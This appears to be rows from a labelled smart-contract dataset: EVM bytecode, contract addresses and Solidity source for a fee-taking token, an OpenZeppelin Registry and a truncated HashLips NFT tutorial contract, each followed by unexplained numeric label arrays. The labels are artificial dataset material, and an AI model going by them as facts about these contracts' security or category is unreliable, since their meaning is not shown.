fffffff1660e01b8152600401610ef396959493929190612a5d565b6060604051808303818588803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f45919061273a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612a34565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612711565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612bfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490612b3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112eb9190612c3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90612bdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90612afb565b60405180910390fd5b6000811161141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612bbb565b60405180910390fd5b6005600a81905550600a600b819055506114336108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a157506114716108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ed57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561154a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116545750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561166c5750600f60179054906101000a900460ff165b1561171c5760105481111561168057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116cb57600080fd5b601e426116d89190612d71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611833576005600a819055506014600b819055505b600061183e3061074f565b9050600f60159054906101000a900460ff161580156118ab5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118c35750600f60169054906101000a900460ff165b156118eb576118d181611aca565b600047905060008111156118e9576118e847611961565b5b505b505b6118f8838383611dc4565b505050565b6000838311158290611945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193c9190612ad9565b60405180910390fd5b50600083856119549190612e52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119b1600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119dc573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a2d600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a58573d6000803e3d6000fd5b5050565b6000600854821115611aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9a90612b1b565b60405180910390fd5b6000611aad611e1e565b9050611ac28184611dd490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b28577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b565781602001602082028036833780820191505090505b5090503081600081518110611b94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3657600080fd5b505afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6e91906125b7565b81600181518110611ca8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d73959493929190612c56565b600060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dcf838383611e49565b505050565b6000611e1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612014565b905092915050565b6000806000611e2b612077565b91509150611e428183611dd490919063ffffffff16565b9250505090565b600080600080600080611e5b876120d9565b955095509550955095509550611eb986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9a816121e9565b611fa484836122a6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120019190612c3b565b60405180910390a3505050505050505050565b6000808311829061205b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120529190612ad9565b60405180910390fd5b506000838561206a9190612dc7565b9050809150509392505050565b600080600060085490506000683635c9adc5dea0000090506120ad683635c9adc5dea00000600854611dd490919063ffffffff16565b8210156120cc57600854683635c9adc5dea000009350935050506120d5565b81819350935050505b9091565b60008060008060008060008060006120f68a600a54600b546122e0565b9250925092506000612106611e1e565b905060008060006121198e878787612376565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061218383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fd565b905092915050565b600080828461219a9190612d71565b9050838110156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690612b5b565b60405180910390fd5b8091505092915050565b60006121f3611e1e565b9050600061220a82846123ff90919063ffffffff16565b905061225e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122bb8260085461214190919063ffffffff16565b6008819055506122d68160095461218b90919063ffffffff16565b6009819055505050565b60008060008061230c60646122fe888a6123ff90919063ffffffff16565b611dd490919063ffffffff16565b905060006123366064612328888b6123ff90919063ffffffff16565b611dd490919063ffffffff16565b9050600061235f82612351858c61214190919063ffffffff16565b61214190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238f85896123ff90919063ffffffff16565b905060006123a686896123ff90919063ffffffff16565b905060006123bd87896123ff90919063ffffffff16565b905060006123e6826123d8858761214190919063ffffffff16565b61214190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124125760009050612474565b600082846124209190612df8565b905082848261242f9190612dc7565b1461246f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246690612b7b565b60405180910390fd5b809150505b92915050565b600061248d61248884612cf0565b612ccb565b905080838252602082019050828560208602820111156124ac57600080fd5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816132dc565b92915050565b60008151905061250a816132dc565b92915050565b600082601f83011261252157600080fd5b813561253184826020860161247a565b91505092915050565b600081359050612549816132f3565b92915050565b60008151905061255e816132f3565b92915050565b6000813590506125738161330a565b92915050565b6000815190506125888161330a565b92915050565b6000602082840312156125a057600080fd5b60006125ae848285016124e6565b91505092915050565b6000602082840312156125c957600080fd5b60006125d7848285016124fb565b91505092915050565b600080604083850312156125f357600080fd5b6000612601858286016124e6565b9250506020612612858286016124e6565b9150509250929050565b60008060006060848603121561263157600080fd5b600061263f868287016124e6565b9350506020612650868287016124e6565b925050604061266186828701612564565b9150509250925092565b6000806040838503121561267e57600080fd5b600061268c858286016124e6565b925050602061269d85828601612564565b9150509250929050565b6000602082840312156126b957600080fd5b600082013567ffffffffffffffff8111156126d357600080fd5b6126df84828501612510565b91505092915050565b6000602082840312156126fa57600080fd5b60006127088482850161253a565b91505092915050565b60006020828403121561272357600080fd5b60006127318482850161254f565b91505092915050565b60008060006060848603121561274f57600080fd5b600061275d86828701612579565b935050602061276e86828701612579565b925050604061277f86828701612579565b9150509250925092565b600061279583836127a1565b60208301905092915050565b6127aa81612e86565b82525050565b6127b981612e86565b82525050565b60006127ca82612d2c565b6127d48185612d4f565b93506127df83612d1c565b8060005b838110156128105781516127f78882612789565b975061280283612d42565b9250506001810190506127e3565b5085935050505092915050565b61282681612e98565b82525050565b61283581612edb565b82525050565b600061284682612d37565b6128508185612d60565b9350612860818560208601612eed565b61286981613027565b840191505092915050565b6000612881602383612d60565b915061288c82613038565b604082019050919050565b60006128a4602a83612d60565b91506128af82613087565b604082019050919050565b60006128c7602283612d60565b91506128d2826130d6565b604082019050919050565b60006128ea601b83612d60565b91506128f582613125565b602082019050919050565b600061290d602183612d60565b91506129188261314e565b604082019050919050565b6000612930602083612d60565b915061293b8261319d565b602082019050919050565b6000612953602983612d60565b915061295e826131c6565b604082019050919050565b6000612976602583612d60565b915061298182613215565b604082019050919050565b6000612999602483612d60565b91506129a482613264565b604082019050919050565b60006129bc601783612d60565b91506129c7826132b3565b602082019050919050565b6129db81612ec4565b82525050565b6129ea81612ece565b82525050565b6000602082019050612a0560008301846127b0565b92915050565b6000604082019050612a2060008301856127b0565b612a2d60208301846127b0565b9392505050565b6000604082019050612a4960008301856127b0565b612a5660208301846129d2565b9392505050565b600060c082019050612a7260008301896127b0565b612a7f60208301886129d2565b612a8c604083018761282c565b612a99606083018661282c565b612aa660808301856127b0565b612ab360a08301846129d2565b979650505050505050565b6000602082019050612ad3600083018461281d565b92915050565b60006020820190508181036000830152612af3818461283b565b905092915050565b60006020820190508181036000830152612b1481612874565b9050919050565b60006020820190508181036000830152612b3481612897565b9050919050565b60006020820190508181036000830152612b54816128ba565b9050919050565b60006020820190508181036000830152612b74816128dd565b9050919050565b60006020820190508181036000830152612b9481612900565b9050919050565b60006020820190508181036000830152612bb481612923565b9050919050565b60006020820190508181036000830152612bd481612946565b9050919050565b60006020820190508181036000830152612bf481612969565b9050919050565b60006020820190508181036000830152612c148161298c565b9050919050565b60006020820190508181036000830152612c34816129af565b9050919050565b6000602082019050612c5060008301846129d2565b92915050565b600060a082019050612c6b60008301886129d2565b612c78602083018761282c565b8181036040830152612c8a81866127bf565b9050612c9960608301856127b0565b612ca660808301846129d2565b9695505050505050565b6000602082019050612cc560008301846129e1565b92915050565b6000612cd5612ce6565b9050612ce18282612f20565b919050565b6000604051905090565b600067ffffffffffffffff821115612d0b57612d0a612ff8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d7c82612ec4565b9150612d8783612ec4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dbc57612dbb612f9a565b5b828201905092915050565b6000612dd282612ec4565b9150612ddd83612ec4565b925082612ded57612dec612fc9565b5b828204905092915050565b6000612e0382612ec4565b9150612e0e83612ec4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e4757612e46612f9a565b5b828202905092915050565b6000612e5d82612ec4565b9150612e6883612ec4565b925082821015612e7b57612e7a612f9a565b5b828203905092915050565b6000612e9182612ea4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ee682612ec4565b9050919050565b60005b83811015612f0b578082015181840152602081019050612ef0565b83811115612f1a576000848401525b50505050565b612f2982613027565b810181811067ffffffffffffffff82111715612f4857612f47612ff8565b5b80604052505050565b6000612f5c82612ec4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f8f57612f8e612f9a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132e581612e86565b81146132f057600080fd5b50565b6132fc81612e98565b811461330757600080fd5b50565b61331381612ec4565b811461331e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208133a930f6656ced85f250e59ad6df40beb02b005ca8204662ba3e53a06deb6064736f6c63430008040033 | [
13,
5
] |
0xF35c6A00dB6814E4e241F335bb92708662E37820 | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.7.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "./RegistryInterface.sol";
/// @title Interface that allows a user to draw an address using an index
contract Registry is OwnableUpgradeable, RegistryInterface {
address private pointer;
event Registered(address indexed pointer);
constructor () public {
__Ownable_init();
}
function register(address _pointer) external onlyOwner {
pointer = _pointer;
emit Registered(pointer);
}
function lookup() external override view returns (address) {
return pointer;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.7.0;
/// @title Interface that allows a user to draw an address using an index
interface RegistryInterface {
function lookup() external view returns (address);
}
| 0x608060405234801561001057600080fd5b50600436106100575760003560e01c80634420e4861461005c578063715018a6146100845780638da5cb5b1461008c578063f2fde38b146100b0578063f5e3542b146100d6575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b03166100de565b005b6100826101a2565b610094610260565b604080516001600160a01b039092168252519081900360200190f35b610082600480360360208110156100c657600080fd5b50356001600160a01b031661026f565b610094610384565b6100e6610399565b6001600160a01b03166100f7610260565b6001600160a01b031614610152576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b606580546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f2d3734a8e47ac8316e500ac231c90a6e1848ca2285f40d07eaa52005e4b3a0e990600090a250565b6101aa610399565b6001600160a01b03166101bb610260565b6001600160a01b031614610216576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b6033546001600160a01b031690565b610277610399565b6001600160a01b0316610288610260565b6001600160a01b0316146102e3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166103285760405162461bcd60e51b815260040180806020018281038252602681526020018061039e6026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031690565b3b151590565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122065685abb140a09f89e42f60ff949b05baf05a82610b3a955cf0a05d09e9f498b64736f6c634300060c0033 | [
38
] |
0xf35CD98c5C98EBa7a29ad6110Da4bcB851306a05 | // SPDX-License-Identifier: MIT
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
